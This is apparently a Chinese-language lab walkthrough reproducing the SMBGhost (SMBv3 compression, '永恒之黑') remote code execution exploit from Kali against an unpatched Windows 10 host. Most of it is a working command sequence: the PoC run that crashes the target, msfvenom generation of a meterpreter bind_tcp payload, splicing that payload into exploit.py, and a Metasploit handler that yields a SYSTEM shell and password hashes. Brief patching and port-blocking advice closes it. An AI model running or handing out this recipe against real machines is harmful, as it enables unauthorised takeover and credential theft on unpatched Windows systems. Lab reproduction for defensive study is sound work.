实验环境
Kali:192.168.6.129
windows10:192.168.6.128
实验步骤
一、查看靶机win10版本号(需要在影响的版本范围内)
二、查看系统补丁情况,需要未打KB4551762补丁
win键+R
输入命令:systeminfo
三、下载安装SMBGhost_RCE_PoC.zip(这个压缩文件可以自己在网上找)
解压SMBGhost_RCE_PoC.zip
# unzip SMBGhost_RCE_PoC.zip
解压完成之后进入SMBGhost_RCE_PoC文件夹查看
进入目录下,进行检测:python3.11 exploit.py -ip 192.168.6.128
出现蓝屏,证明对方服务器存在“永恒之黑”漏洞。
四、生成木马payload
# msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b ‘\x00’ -i 1 -f python
五、替换payload
打开文件exploit
# vim exploit.py
将文件中的buf开头,替换为:USER_PAYLOAD开头。
在vim命令行模式下,执行:
:1,%s/buf/USER_PAYLOAD/g
如下图:
替换后效果如下:
六、在MSF上启动handler开始监听连接目标机
开启监听:
use exploit/multi/handler
设置payload、监听端口、目标主机
#set payload windows/x64/meterpreter/bind_tcp
# set lport 4444
# set rhost 192.168.6.128
run攻击
七、利用python3.11执行exploit.py脚本
之后按任意键即可执行shellcode
之后返回msfconsole 终端,这里提示有一条session
可以获取hash密码(解密工具:百度soMD5)
输入shell 即可获取shell成功
输入whoami 可以看到是system权限
漏洞复现成功
八、修复建议
1、安装官方补丁
微软已经发布了此漏洞的安全补丁,给对应的系统打微软出的最新补丁
2、禁用SMBv3压缩
禁用SMB 3.0的压缩功能,是否使用需要结合自己业务进行判断。
注:利用以上命令进行更改后,无需重启即可生效;该方法仅可用来防护针对SMB服务器的攻击,无法对SMB客户端进行防护。
3、设置防火墙策略关闭相关端口
SMB的TCP 445端口
NetBIOS名称解析的UDP 137端口
NetBIOS数据图服务的UDP 138端口
NetBIOS会话服务的TCP 139端口
4、通过IP安全策略屏蔽危险端口,bat执行添加防火墙策略,关闭危险服务